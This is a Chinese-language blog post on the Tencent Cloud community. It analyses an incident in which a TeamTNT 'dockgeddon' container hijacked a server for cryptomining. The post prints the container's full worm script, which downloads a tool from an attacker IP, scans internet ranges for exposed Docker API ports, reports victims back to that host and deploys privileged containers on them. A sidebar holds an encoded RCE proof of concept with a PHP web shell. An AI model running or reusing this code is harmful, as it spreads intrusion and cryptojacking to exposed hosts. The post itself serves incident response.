前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >异常dockgeddon导致 cpu 100%

异常dockgeddon导致 cpu 100%

原创
作者头像
张琳兮
修改于 2021-04-26 09:48:14
修改于 2021-04-26 09:48:14
9420
举报
文章被收录于专栏:首富手记首富手记

异常dockgeddon导致 cpu 100%

问题描述

1,收到钉钉告警,提示机器 cpu 使用率超过 90%

image-20210426164204141
image-20210426164204141

2,然后登录监控找到对应的机器

image-20210426164445498
image-20210426164445498

确实是 CPU 使用率到达百分之百了。

3,查看容器监控确定是哪个容器产生了问题(因为我这个机器上就运行了 docker)

image-20210426164645245
image-20210426164645245

如果没有容器监控也可以使用docker stats来检查各个容器的资源消耗情况。

4,找到出问题的容器,发现并不是我们业务的容器,于是开始分析

分析出问题的 docker

查看 docker 的启动命令,发现他启动是执行内部的一个脚本

代码语言:txt
AI代码解释
复制
#!/bin/bash
RATE_TO_SCAN=500000


if type apt-get 2>/dev/null 1>/dev/null; then apt-get update --fix-missing 2>/dev/null 1>/dev/null; apt-get install -y wget curl jq bash masscan libpcap-dev ; fi
if type yum 2>/dev/null 1>/dev/null; then yum clean all 2>/dev/null 1>/dev/null; yum install -y wget curl jq bash masscan libpcap-devel ; fi
if ! type zgrab 2>/dev/null 1>/dev/null; then wget http://45.9.148.85/bin/zgrab -O /usr/bin/zgrab && chmod +x /usr/bin/zgrab ; fi
if ! type docker 2>/dev/null; then curl -sLk https://get.docker.com | bash ; fi
docker stop $(docker ps | grep -v 'CONTAINER' | grep -v 'tntpwner2\|b0rgdrone24\|dockgeddon' | awk '{print $1}')
clear ; echo "" ; echo ""
echo CgoKICAgICAgICBfX19fXyAgICAgICAgICAgICAgICAgICAgX19fX18gICAgX18gIF9fX19fICAgXyBfIF8gICAgICAgICAgICAgIAogICAgICAgL19fICAgXF9fXyAgX18gXyBfIF9fIF9fXy9fXyAgIFwvXCBcIFwvX18gICBcIHwgKF8pIHwgX19fX18gIF9fXyAgCiAgICAgICAgIC8gL1wvIF8gXC8gX2AgfCAnXyBgIF8gXCAvIC9cLyAgXC8gLyAgLyAvXC8gfCB8IHwgfC8gLyBfIFwvIF9ffCAKICAgICAgICAvIC8gfCAgX18vIChffCB8IHwgfCB8IHwgLyAvIC8gL1wgIC8gIC8gLyAgICB8IHwgfCAgIDwgIF9fL1xfXyBcIAogICAgICAgIFwvICAgXF9fX3xcX18sX3xffCB8X3wgfF9cLyAgXF9cIFwvICAgXC8gICAgIHxffF98X3xcX1xfX198fF9fXy8gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIF8gICBfICAgICAgICAgICAgICBfX18gIF9fXyAgICBfXyAgICBfX18gICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICB8IHxffCB8X18gICBfX18gICAgLyBfX1wvIF8gXCAgL19fXCAgLyBfIFwgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgIHwgX198ICdfIFwgLyBfIFwgIC9fX1wvLyB8IHwgfC8gXC8vIC8gL19cLyAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgfCB8X3wgfCB8IHwgIF9fLyAvIFwvICBcIHxffCAvIF8gIFwvIC9fXFwgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgXF9ffF98IHxffFxfX198IFxfX19fXy9cX19fL1wvIFxfL1xfX19fLyAgICAgICAgICAgICAgICAgCgoKCgoK | base64 -d
sleep 6

chmod +x /usr/bin/zgrab
chmod +x /root/dockerd
chmod +x /root/TNTfeatB0RG

/root/TNTfeatB0RG
nice -n -20 /root/dockerd || /root/dockerd

dAPIpwn(){
range=$1
port=$2
rate=$3
rndstr=$(head /dev/urandom | tr -dc a-z | head -c 6 ; echo '')
eval "$rndstr"="'$(masscan $range -p$port --rate=$rate | awk '{print $6}'| zgrab --senders 200 --port $port --http='/v1.16/version' --output-file=- 2>/dev/null | grep -E 'ApiVersion|client version 1.16' | jq -r .ip)'";

for ipaddy in ${!rndstr}
do

TARGET=$ipaddy:$port

echo '##################################################'
curl -sLk http://45.9.148.85/input/da.php?vuln=$TARGET -o /dev/null
echo $TARGET

timeout -s SIGKILL 240 docker -H $TARGET run -d --net host --privileged --name dockgeddon -v /:/host mangletmpuser/dockgeddon

done
}

while true
do
RANGE=$(curl -sLk http://45.9.148.85/input/da_range.php)".0.0.0/8"
dAPIpwn $RANGE 2375 $RATE_TO_SCAN
dAPIpwn $RANGE 2376 $RATE_TO_SCAN
dAPIpwn $RANGE 2377 $RATE_TO_SCAN
dAPIpwn $RANGE 4244 $RATE_TO_SCAN
dAPIpwn $RANGE 4243 $RATE_TO_SCAN
done

一看这个启动脚本,就知道我的服务器被人家挖矿了。最后在Aqua网站博客上找到了相对应的信息

搬运博客内容

TeamTNT针对Docker和Kubernetes环境发起了一项新的战役。通过使用托管在Docker Hub中的一组容器映像,攻击者可以将配置错误的Docker守护程序,Kubeflow仪表板和Weave Scope定位为目标,利用这些环境来窃取云凭据,打开后门,挖掘加密货币并启动一种蠕虫。寻找下一个受害者。在此博客中,我将探索这些容器图像及其设计用途。

image-20210426170055475
image-20210426170055475

我们就是因为把这个端口暴露在公网上被黑的。

解决办法

1,删除镜像

2,屏蔽上面的敏感端口对外提供访问

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
CVE-2021-40870 Aviatrix Controller RCE
aW1wb3J0IHJlcXVlc3RzDQppbXBvcnQganNvbg0KaW1wb3J0IHN5cw0KaW1wb3J0IHRpbWUNCmZyb20gcmVxdWVzdHMucGFja2FnZXMgaW1wb3J0IHVybGxpYjMNCg0KdXJsbGliMy5kaXNhYmxlX3dhcm5pbmdzKHVybGxpYjMuZXhjZXB0aW9ucy5JbnNlY3VyZVJlcXVlc3RXYXJuaW5nKQ0KDQpiYW5uZXIgPSAmIzM5OyYjMzk7JiMzOTsNCiAgIF9fXyAgICAgICAgIF9fICAgIF9fX18gICBfX18gX19fXyAgXyAgICAgICBfICBfICAgIF9fXyAgIF9fXyBfX19fXyBfX18gIA0KICAvIF9fXC9cICAgL1wvX19cICB8X19fIFwgLyBfIFxfX18gXC8gfCAgICAgfCB8fCB8ICAvIF8gXCAoIF8gKV9fXyAgLyBfIFwgDQogLyAvICAgXCBcIC8gL19cX19fX18gX18pIHwgfCB8IHxfXykgfCB8X19fX198IHx8IHxffCB8IHwgfC8gXyBcICAvIC8gfCB8IHwNCi8gL19fXyAgXCBWIC8vX3xfX19fXy8gX18vfCB8X3wgLyBfXy98IHxfX19fX3xfXyAgIF98IHxffCB8IChfKSB8LyAvfCB8X3wgfA0KXF9fX18vICAgXF8vXF9fLyAgICB8X19fX198XF9fXy9fX19fX3xffCAgICAgICAgfF98ICBcX19fLyBcX19fLy9fLyAgXF9fXy8NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW2J5IDB4QWd1bl0NCiAgICAgICAgICAgICAgICAgICAgIFVzZSA6IHB5dGhvbjMgcG9jLnB5IGh0dHBzOi8vc2l0ZS5jb20vDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiYjMzk7JiMzOTsmIzM5Ow0KcHJpbnQoYmFubmVyKQ0KDQpiYXNlX3VybCA9IHN5cy5hcmd2WzFdDQp1c2VyID0gJiMzOTsmIzM5OyYjMzk7TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzcwLjAuMzUzOC43NyBTYWZhcmkvNTM3LjM2JiMzOTsmIzM5OyYjMzk7DQpmaWxlbmFtZSA9ICJSQ0UucGhwIg0Kc2hlbGwgPSAmIzM5OyYjMzk7JiMzOTsmbHQ7P3BocCBpZihpc3NldCgkX1JFUVVFU1RbJiMzOTtjbWQmIzM5O10pKXsgZWNobyAiJmx0O3ByZSZndDsiOyAkY21kID0gKCRfUkVRVUVTVFsmIzM5O2NtZCYjMzk7XSk7IHN5c3RlbSgkY21kKTsgZWNobyAiJmx0Oy9wcmUmZ3Q7IjsgZGllOyB9PyZndDsmIzM5OyYjMzk7JiMzOTsNCmlmIGJhc2VfdXJsLnN0YXJ0c3dpdGgoJiMzOTtodHRwczovLyYjMzk7KToNCiAgICBrID0gYmFzZV91cmwucmVwbGFjZSgiaHR0cHM6Ly8iLCAiIikNCiAgICBpZiBrLmVuZHN3aXRoKCIvIik6DQogICAgICAgIHAgPSBrLnJlcGxhY2UoIi8iLCAiIikNCg0KaGVhZGVycyA9IHsNCiAgICAiSG9zdCI6IHAsDQogICAgIlVzZXItQWdlbnQiOiB1c2VyLA0KICAgICJDb25uZWN0aW9uIjogImNsb3NlIiwNCiAgICAiQ29udGVudC1MZW5ndGgiOiAiMTA5IiwNCiAgICAiQ29udGVudC1UeXBlIjogImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIsDQogICAgIkFjY2VwdC1FbmN
Khan安全团队
2021/10/25
1K0
CVE-2021-40870 Aviatrix Controller RCE
苍了个天,记一次Linux(被黑客)入侵......
周一早上刚到办公室,就听到同事说有一台服务器登陆不上了,我也没放在心上,继续边吃早点,边看币价是不是又跌了。不一会运维的同事也到了,气喘吁吁的说:我们有台服务器被阿里云冻结了,理由:对外恶意发包。我放下酸菜馅的包子,ssh连了一下,被拒绝了,问了下默认的22端口被封了。让运维的同事把端口改了一下,立马连上去,顺便看了一下登录名:root,还有不足8位的小白密码,心里一凉:被黑了!
小林C语言
2020/12/24
7100
苍了个天,记一次Linux(被黑客)入侵......
记一次Linux服务器被入侵变矿机
0x00 背景 周一早上刚到办公室,就听到同事说有一台服务器登陆不上了,我也没放在心上,继续边吃早点,边看币价是不是又跌了。不一会运维的同事也到了,气喘吁吁的说:我们有台服务器被阿里云冻结了,理由:对外恶意发包。我放下酸菜馅的包子,ssh连了一下,被拒绝了,问了下默认的22端口被封了。让运维的同事把端口改了一下,立马连上去,顺便看了一下登录名:root,还有不足8位的小白密码,心里一凉:被黑了! 0x01 查找线索 服务器系统CentOS 6.X,部署了nginx,tomcat,redis等应用,上来先把
慕白
2018/07/06
3K1
记一次Linux被入侵,服务器变“矿机”全过程
出处:看雪社区:https://bbs.pediy.com/thread-225163.htm
帅地
2019/06/20
1.2K0
记一次Linux被入侵,服务器变“矿机”全过程
端口扫描工具终极用法
为什么要做c段探测,运营商分配给IDC机房地址时大部分都是连续IP地址,租给客户(渗透目标)时很大概率会分配同C段内IP地址(除非目标就一个IP地址),使用工具扫描可以探测出同段服务。
至察助安
2022/09/11
1.4K0
端口扫描工具终极用法
Linux、docker、kubernetes、MySql、Shell、kafka运维快餐
lsof -i:[port] netstat -anp |grep [port]
justmine
2019/02/15
9840
WordPress 4.6远程代码执行漏洞(CVE-2016-10033)复现环境搭建指南
首先是找到网上的漏洞分析和poc脚本,WordPress <4.7.1 远程代码执行漏洞(非插件无需认证,附Poc,演示视频)——具体关于漏洞的分析不多说了,这个说得很好了,主要是说环境搭建。 搭建环
FB客服
2018/02/24
2.3K0
WordPress 4.6远程代码执行漏洞(CVE-2016-10033)复现环境搭建指南
Docker 加持的安卓手机:随身携带的知识库(一)
这篇文章聊聊,如何借助 Docker ,尝试将一台五年前的手机,构建成一个随身携带的、本地化的知识库。
soulteary
2024/05/11
3430
Docker 加持的安卓手机:随身携带的知识库(一)
mac 上学习k8s系列(10)nginx-ingress lua连redis 失败排出过程
在学习mac 上学习k8s系列(9)nginx-ingress lua的时候遇到了一个问题nginx-ingress lua连接redis失败,这里涉及到了多个复杂系统间的通信:k8s,nginx ,lua,redis ,golang的后台服务 ,技术栈也跨跃性也很大,从k8s的yaml配置到nginx的conf配置到lua脚本,排查起来非常麻烦,下面介绍下整个问题解决的思路和流程,希望对大家有所启发。
golangLeetcode
2022/08/02
7120
记一次开放6379的祸事
每分钟都会去执行这个脚本,虽然我不知道这个脚本的每条语句是啥意思, 但是其中的添加公钥, 强杀进程(pkill -f python 还打错了)跑定时任务, 然后还在最后还毁尸灭迹, 清除一切痕迹,我还是能看懂的!
用户2458545
2022/09/07
3570
记一次开放6379的祸事
003.Kubernetes二进制部署准备
其他更多前置准备见:https://kubernetes.io/zh/docs/setup/independent/install-kubeadm/
木二
2019/11/15
5240
Shell百宝箱(后续会不断更新)
获取随机字符串或数字 随机获取8位字符串 # 方法一 echo $RANDOM |md5sum |cut -c 1-8 d2614e90 # 方法二 openssl rand -base64 4 6kLKvQ== # 方法3 cat /proc/sys/kernel/random/uuid |cut -c 1-8 获取随机8位数字 # 方法1: echo $RANDOM |cksum |cut -c 1-8 62936468 # 方法2: openssl rand -base64 4 |cksum
iginkgo18
2020/09/27
5840
Linux Shell脚本案例
1.Dos攻击防范(自动屏蔽攻击IP) #!/bin/bash DATE=$(date +%d/%b/%Y:%H:%M) LOG_FILE=/usr/local/nginx/logs/demo2.access.log ABNORMAL_IP=$(tail -n5000 $LOG_FILE |grep $DATE |awk '{a[$1]++}END{for(i in a)if(a[i]>10)print i}') for IP in $ABNORMAL_IP; do if [ $(iptabl
用户7741497
2022/03/01
1.3K0
Docker 加持的安卓手机:随身携带的知识库(一)
这篇文章聊聊,如何借助 Docker ,尝试将一台五年前的手机,构建成一个随身携带的、本地化的知识库。
soulteary
2024/05/03
8030
迁移Hexo到halo
此前,我使用hexo,犹豫hexo是静态的,有所不便。无意之中发现这款博客框架。此博客使用java所以,内存需求比较高。优点是美观,支持批量导入md。
Innei
2021/12/28
1.2K0
100 个 Linux Shell 脚本经典案例解析
1)编写 hello world 脚本#!/bin/bash# 编写hello world脚本echo "Hello World!"2)通过位置变量创建 Linux 系统账户及密码#!/bin/bash# 通过位置变量创建 Linux 系统账户及密码#$1 是执行脚本的第一个参数,$2 是执行脚本的第二个参数useradd    "$1" echo "$2"  |  passwd  ‐‐stdin  "$1"3)备份日志#!/bin/bash# 每周 5 使用 tar 命令备份/var/log 下的所有日志
星哥玩云
2022/07/09
3.5K0
从一段挖矿病毒代码看Linux命令的实际应用
最近做易生信培训时新购了一块阿里云,用于演示分析流程搭建和配置。短期使用,上面没有数据,也没做什么防范,结果不曾想,被挖矿病毒盯上了,给了一个近距离接触病毒的机会。
生信宝典
2019/07/12
6.7K1
从一段挖矿病毒代码看Linux命令的实际应用
Shell编程100例,超赞!
7、检测本机当前用户是否为超级管理员,如果是管理员,则使用 yum 安装 vsftpd,如果不是,则提示您非管理员(使用字串对比版本)
C语言中文社区
2022/05/31
3.5K0
TKE集群如何在pod内执行kubectl访问apiserver及登录node节点
腾讯云上创建一个TKE集群,一般都是需要开启集群的内网或者公网访问,才能kubectl访问集群apiserver,如果要登录node节点,需要ssh工具去登录,这种一般要有节点秘钥或者密码,但是一般只有运维才有节点登录方式。 下面我们来说说如何创建一个pod,来访问集群的apiserver,并登录node节点,下面我说的方式,是不需要节点登录密码或者秘钥,也不需要集群开启内网或者公网访问。
聂伟星
2024/10/04
1920
linux 下强大的 JSON 解析命令 jq
jq 可以对 JSON 数据进行切片、过滤、映射和转换,和sed, awk, grep 命令一样简单好用。
叨叨软件测试
2020/04/14
6.1K0
相关推荐
CVE-2021-40870 Aviatrix Controller RCE
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档